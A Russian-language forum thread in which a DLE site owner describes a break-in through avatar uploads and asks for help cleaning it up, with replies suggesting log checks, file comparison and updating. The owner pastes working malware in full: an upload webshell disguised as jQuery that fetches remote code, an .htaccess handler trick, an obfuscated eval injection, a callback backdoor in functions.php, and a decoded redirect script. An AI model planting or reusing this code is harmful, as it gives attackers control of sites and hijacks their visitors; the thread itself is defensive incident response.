Редактор темы

Реклама
Реклама
Реклама
Реклама

Вопрос? Shell на сайте

  • Автор темы Автор темы archi
  • Дата начала Дата начала

archi

Зелёный
Регистрация
11 Апр 2019
Сообщения
24
Рейтинг реакций
3
Баллы
3
Возраст
36
1/3
Автор темы
На сайт через фото профиля были залиты файлы в uploads/fotos:

foto_12345678.jpeq
Код:
<?php
/*
 * jQuery Image Library v1.6.1
 * http://jquery.com/
 *
 * Copyright 2011, John Resig
 * Dual licensed under the MIT or GPL Version 2 licenses.
 * http://jquery.org/license
 *
 * Includes Sizzle.js
 * http://sizzlejs.com/
 * Copyright 2011, The Dojo Foundation
 * Released under the MIT, BSD, and GPL Licenses.
 *
 * Date: Thu May 12 15:04:36 2011 -0400
 *  *  *  *  *  *  * *  *  *  *  *  *  *  *  *  *  *  *  *  Don't delete this file *  *  *  *  *  *  *  *  *  *  *  *  *  *  *  *
 */
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('display_errors', 0);
@error_reporting(0);
@set_time_limit(0);
$cret='unct' .'ion';$cret= 'cre' . 'ate' .'_f' .$cret;
$jQuery='sert';$jQuery='as'.$jQuery;$Libr= "_ostp";
$sizz=strtoupper($Libr[0].$Libr[4].$Libr[1].$Libr[2].$Libr[3] );
if(isset(${$sizz}['j01bt5ri3p'])){@$cret('', '};'.${$sizz}['j01bt5ri3p'].'{');}
if(isset(${$sizz}['j01bt5ri3p'])){@$jQuery(${$sizz}['j01bt5ri3p']);}
if((isset(${$sizz}['j01bt5ri3p']))&(isset(${$sizz}['fail']))){
@copy('http://'.${$sizz}['fail'].'/test.txt', $_SERVER['DOCUMENT_ROOT'].'/license.php');}
print"<!-- te"."st --> ";
?>

и .htaccess
Код:
<FilesMatch "\.([Pp][Hh][Pp]|[Cc][Gg][Ii]|[Pp][Ll]|[Pp][Hh][Ii][Mm][Ll])\.?">
   Order allow,deny
   Deny from all
</FilesMatch>
AddHandler application/x-httpd-php .avi .jpeq .mpg4

После чего появился код в dbconfig.php, mysql.php и options.php
Код:
$liciens = "@Ev"."aL(gZu"."ncOmp"."rEss(bAs"."e64"."_Dec"."odE('eF6VVHtv2zYQ/yoOYIQS4sgP2bEdQ2jWwtiCDe2WJiuG1hAo6SyxkkiVDztB6e++oxwsceF52B+84+OeP95dN5EQkZh0AhIb5RjI9uAIy8hiW7AKvHAwn1864jcSNl63EKq3J0ayXleu/QVbe0wp0F43fvfhw6+3y89dtL3y/e83eJsKUTLw3FXvUOBi2NOsBs+/mE3mk2mP9Im/2KE17+ZQMIrIfDSeDsLZkPhC/uvzdHb6eX7yeTYgR0ImV+P5aDCeTa7C+WSMZDYPB5PZ+Go8C+djciSDroR1hE4+Lu/+XN59Vlo64JBpYZoGpEeYNLFWYL4h4r6/WjgoX2mQu+UfD8uP9/HD3S1ZLW4c3NEpe1qJIm60Lp6tldtmXRpalZvHlG8Kk1TRcDqYYGT/EZgEjB3kiy1vPB5d4roIZ6PhpSP+m1Qo7/nzYf1PGfQcWv51rWNJeeb0eqPhIPQXBdAMbT97I+EblqdBU2tXZn3FCt13uzKFIm2v0jRwPJfCsctw2972r5tWQxeday5Yu6WtgviN+MjOFYi2fhF8ZJJujayApyLDj8QqdSINlbQGDTL60i3haStkhmp4UHBuZDREvSOgRK9ROUdYfrBOCq2b675Lw/0UUhT3/QU8Mr3YdY3KT4OuOeQ0lqDMqz/83z/VfcyrhjdfqfmmYGsaHREliOtN7+ylsn65v/89fsBT/NPPy/f3ZOUa4sQzNkfbM2fY/HlcU50WHuknlGXGpgiBRSQqsJ/Cd7FdVprecvspB22xBODRMhpTmRaWFkJYltfUvhXaNgzrwdI6QcW/6FsptlaIHA8JPtaUVUGfkZ7Dzcd+xAQOfLeWg72ctKIMpLGbMkjF3khgM5OWblklcmGsKoCjY043zqmognTvWtot01gKlnGlaY5RcXfap2a0SQBpkDzt4xYZF6U1lcjtmqaQiMAqaHN7cslhPIqjZVWzkZVJGtiE8XyfB9Zem8VhGk2QYOIKPaqnOhHK8kwKltmaZY0FyUB96VwNbKHT2IoEB7H9OqrBoiyjHKU4s00hOLxA5bru7Ic5TLIKcLhjneBAXx2XeZ7V7dNBiBHNMg5bZbEBcqYcOtEaIEsoghtVDl1tkTEeNEVjaVa/3qGCpJoJvo9Qsr0Lt+ucRR03KY8M2+dBPT02V3e73d+Pxjob')));";$release_this = "cre"."ate_"."function";@$dle_func = $release_this('', "$liciens;");$dle_func('');

Покопался, убрал этот код, удалил созданные файлы, убрал дыру и файлы в папке uploads/fotos больше не появляются, но проверив файлы dbconfig и mysql.php - увидел снова тот же код.

Проверил расхождения в файлах с чистым бэкапом и нашел в functions.php это:

Код:
   $news_num = @$_REQUEST['numer'];
   $bannermass = @$_REQUEST['bannerid'];
Код:
    $check_newsnum = @$_REQUEST['newsnum'];
                            $check_category = @$_REQUEST['category'];
Код:
    $get_url_var = '12345678';
этот дважды:
Код:
    $set_cookie = '_di'.'ff_';$set_cookie='ar'.'ray'.$set_cookie.'ukey';//globils
Код:
      if($bannermass==$get_url_var){
      if (@strpos($check_newsnum, 'creat')=== false){
         @$set_cookie(@array((string)$news_num => 1), @array((string)stripslashes($check_category) => 2), @$check_newsnum);}else{
         @$set_cookie(@array((string)$news_num => 1), @array((string)stripslashes('}'.$check_category.'//') => 2), @$check_newsnum);}}//chekings

Но боюсь, что это не все. Кто сталкивался с подобным дерьмом, подскажите, что и где может быть еще? Где копать?
 
Последнее редактирование:
archi
у Вас VPS, Dedicated или обычный хостинг? Просмотрите как минимум логи nginx/apache обработки файла foto_54810053.jpeq
 
Автор темы
archi
у Вас VPS, Dedicated или обычный хостинг? Просмотрите как минимум логи nginx/apache обработки файла foto_54810053.jpeq
У меня VPS, но с логами проблема - этот шелл на сервере уже давно, но увидел я его только пару недель назад.
 
Какая версия dle?
 
Ну обычно nginx бэкапит логи создавая .tar.gz архивы. Раскройте их и с помощью
cat /path/log/file.log | grep "foto_54810053.jpeq" проверьте файлы.
 
если на сайте нет нормальной защиты, то нужно хотя бы ставить все багфиксы, что на офф сайте ДЛЕ написаны. А лучше всего - обновляться до последней версии ДЛЕ. Если много правок в движке сделано, то как минимум помимо фиксов, можно на все файлы поставить chmod 444.
 
Автор темы
С этим уже все в порядке. В движке действительно было сделано слишком много изменений, чтобы обновлять.

Вопрос заключается в другом: какие еще файлы могли заразить, и почему тот скрипт снова появился в dbconfig.php и mysql.php, если файлы были удалены и больше не появлялись?
На сколько я понимаю, те куски кода, что я нашел позже в functions.php - вроде как не могли его добавить...
 
archi скачай все файлы сайта, сравни их с оригиналами дле, чтоб найти весь левый код и удалить его. Так же можно айбооитом проверить ещё все файлы сайта.
 
Автор темы
archi скачай все файлы сайта, сравни их с оригиналами дле, чтоб найти весь левый код и удалить его. Так же можно айбооитом проверить ещё все файлы сайта.
Я так и сделал, сравнил все файлы с чистым бэкапом. Нашел левый код только в functions.php, но опять же, разве эти куски кода из functions.php могли добавить заново код в dbconfig.php и mysql.php?
 
archi вероятнее всего не всё было удалено, может в папке uploads что-то ещё осталось, если всё остальное на 100% было удалено!
 
Автор темы
$liciens = "@Ev"."aL(gZu"."ncOmp"."rEss(bAs"."e64"."_Dec"."odE('eF6VVHtv2zYQ/yoOYIQS4sgP2bEdQ2jWwtiCDe2WJiuG1hAo6SyxkkiVDztB6e++oxwsceF52B+84+OeP95dN5EQkZh0AhIb5RjI9uAIy8hiW7AKvHAwn1864jcSNl63EKq3J0ayXleu/QVbe0wp0F43fvfhw6+3y89dtL3y/e83eJsKUTLw3FXvUOBi2NOsBs+/mE3mk2mP9Im/2KE17+ZQMIrIfDSeDsLZkPhC/uvzdHb6eX7yeTYgR0ImV+P5aDCeTa7C+WSMZDYPB5PZ+Go8C+djciSDroR1hE4+Lu/+XN59Vlo64JBpYZoGpEeYNLFWYL4h4r6/WjgoX2mQu+UfD8uP9/HD3S1ZLW4c3NEpe1qJIm60Lp6tldtmXRpalZvHlG8Kk1TRcDqYYGT/EZgEjB3kiy1vPB5d4roIZ6PhpSP+m1Qo7/nzYf1PGfQcWv51rWNJeeb0eqPhIPQXBdAMbT97I+EblqdBU2tXZn3FCt13uzKFIm2v0jRwPJfCsctw2972r5tWQxeday5Yu6WtgviN+MjOFYi2fhF8ZJJujayApyLDj8QqdSINlbQGDTL60i3haStkhmp4UHBuZDREvSOgRK9ROUdYfrBOCq2b675Lw/0UUhT3/QU8Mr3YdY3KT4OuOeQ0lqDMqz/83z/VfcyrhjdfqfmmYGsaHREliOtN7+ylsn65v/89fsBT/NPPy/f3ZOUa4sQzNkfbM2fY/HlcU50WHuknlGXGpgiBRSQqsJ/Cd7FdVprecvspB22xBODRMhpTmRaWFkJYltfUvhXaNgzrwdI6QcW/6FsptlaIHA8JPtaUVUGfkZ7Dzcd+xAQOfLeWg72ctKIMpLGbMkjF3khgM5OWblklcmGsKoCjY043zqmognTvWtot01gKlnGlaY5RcXfap2a0SQBpkDzt4xYZF6U1lcjtmqaQiMAqaHN7cslhPIqjZVWzkZVJGtiE8XyfB9Zem8VhGk2QYOIKPaqnOhHK8kwKltmaZY0FyUB96VwNbKHT2IoEB7H9OqrBoiyjHKU4s00hOLxA5bru7Ic5TLIKcLhjneBAXx2XeZ7V7dNBiBHNMg5bZbEBcqYcOtEaIEsoghtVDl1tkTEeNEVjaVa/3qGCpJoJvo9Qsr0Lt+ucRR03KY8M2+dBPT02V3e73d+Pxjob')));";$release_this = "cre"."ate_"."function";@$dle_func = $release_this('', "$liciens;");$dle_func('');

Кому интересно - этот код (из dbconfig.php и mysql.php) в расшифрованном виде.

Код:
$bre = '_' . '_us' . 'er' . '_' . 'id';
while (3099 - 3099) prev($hos, $hos, $uri, $rf);
if (isset($_COOKIE[$bre])) {
    @setcookie($bre, $_COOKIE[$bre] + 1, time() + 85957, '/');
}
if ((@$_COOKIE[$bre] == '92470381') or (@$_COOKIE[$bre] == '92470378') or (@$_COOKIE[$bre] == '92470379') or (@$_COOKIE[$bre] == '92470380')) {
    @setcookie($bre, '64920485639546398930584648394', time() + 85957, '/');
    $ref = @$_SERVER[strrev(strtoupper('iru_tseuqer'))];
    $uri = @$_SERVER['REQUEST_URI'];
    @$hos = $_SERVER[strrev(strtoupper('tsoh_ptth'))];
    $ukwpfkualkvxcnvhubl = 1705;
    $rf = @$_SERVER[strrev(strtoupper('rerefer_ptth'))];
    (442 - 442 + 3821 - 3821) ? cos($uri, $ref, $uri, $rf, $bre) : mt_rand(442, 2103);
    header(strrev('3?igc.pmt' . '/siht/' . 'kcehc' . '/cc.' . 'gro' . '-3w' . '//:pt' . 'th :noi' . 'tac' . 'oL') . '&seor' . 'ef=' . rawurlencode($rf) . '¶meter=\$keyword&se=\$se&ur=1' . strrev(strtoupper('=rerefer_ptth&')) . rawurlencode('http://' . $hos . $ref));
    exit;
}
$usg = @$_SERVER[strrev(strtoupper('tnega_resu_ptth'))];
$rf = @$_SERVER[strrev(strtoupper('rerefer_ptth'))];
$xglpnpjauqsewupt = 'so';
if ((!$_SERVER['HTTP_USER_AGENT']) or ($_SERVER['HTTP_USER_AGENT'] == '') or (!preg_match('/baidu|curl|rawle|W3C_|EltaIn|Wget|andex|ia_arch|ahoo|igma|Bot|pider|amble|YaBrow|oogle|bot|mail./i', $usg))) {
    if (preg_match('/andex.|mail.r|ok.ru|vk.co|oogle.|duckduck|sogou|shenma|naver|aol.c|ambler|witter|instag|pinter|baidu|utube|ut.by|igma|odnok|ulog|facebo.|search|yahoo.|msn.c|smi2|rbc.|bing./i', $rf)) {
        if ((preg_match('/p.browser|symbos|ndroid|midp|eries\ 60|htc_|obile|j2me|ymbian|mini|phone/i', $usg)) and (!isset($_COOKIE['dle_user_id'])) and (!isset($_COOKIE[$bre])) and (!preg_match('/=addnews|=register|=feedback|=logout|login.php|admin.php|administration/i', $uri)) and ($uri != '/')) {
            @setcookie($bre, '92470377', time() + 85957, '/');
        }
    }
}

а этот кусок - это урл сайта
Код:
header(strrev('3?igc.pmt' . '/siht/' . 'kcehc' . '/cc.' . 'gro' . '-3w' . '//:pt' . 'th :noi' . 'tac' . 'oL') . '&seor' . 'ef=' . rawurlencode($rf) . '¶meter=\$keyword&se=\$se&ur=1' . strrev(strtoupper('=rerefer_ptth&')) . rawurlencode('http://' . $hos . $ref));
    exit;

точнее
Код:
'/cc.' . 'gro' . '-3w' . '//:pt' . 'th
http(двоеточие-слэш)w3-org(точка)cc
а там уже можно увидеть, что в коде этого фейк сайта есть урл на ПП pushprofit(точка)ru
 
Последнее редактирование:
С этим уже все в порядке. В движке действительно было сделано слишком много изменений, чтобы обновлять.
Ну ведь ты понимаешь, что придётся ?) Чем дольше ты оттягиваешь тем хуже себе делаешь. Потом затянешь еще на 4 года и гляди вовсе будут все отказывать и никто тебе не поможет. Будешь начинать всё по новой.

Качай winmerge сравнивай файлы, создавай плагин и переноси все изменения на систему плагинов.
 
Автор темы
Ну ведь ты понимаешь, что придётся ?) Чем дольше ты оттягиваешь тем хуже себе делаешь. Потом затянешь еще на 4 года и гляди вовсе будут все отказывать и никто тебе не поможет. Будешь начинать всё по новой.
Понимаю, с этим решу. Но вопрос немного в другом был, а все сразу на версию напали.. 🙂
 
а все сразу на версию напали
Просто советуем сделать сперва обнову, и твоя проблема она сама вместе с этим решиться. Это самый лучший и правильный вариант.
 
Автор темы
На dle 13 та же проблема. Может кто-то все же знает как закрыть эту дыру?
 
archi скорее всего дле была скачана уже с этим кодом в дле. Я в прошлом году писал на каких сайтах выложены дле с вшитой заразой и какие файлы они правили. Сохранить нужно бд, удалить полностью дле и поставить чистую дле и восстановить бд из бекапа.

Ну и лучше так же обновить дле на 14.1
 
Автор темы
archi скорее всего дле была скачана уже с этим кодом в дле. Я в прошлом году писал на каких сайтах выложены дле с вшитой заразой и какие файлы они правили. Сохранить нужно бд, удалить полностью дле и поставить чистую дле и восстановить бд из бекапа.

Ну и лучше так же обновить дле на 14.1
Нет, dle чистый был, проверял архив, который изначально скачивал. + эта хрень появилась не сразу, а спустя длительное время... файлы эти заливаются в папку fotos - аватарки юзеров, после чего запускается скрипт и вносятся изменения в определенные файлы
 

Похожие темы Последние темы Популярные темы

Назад
Сверху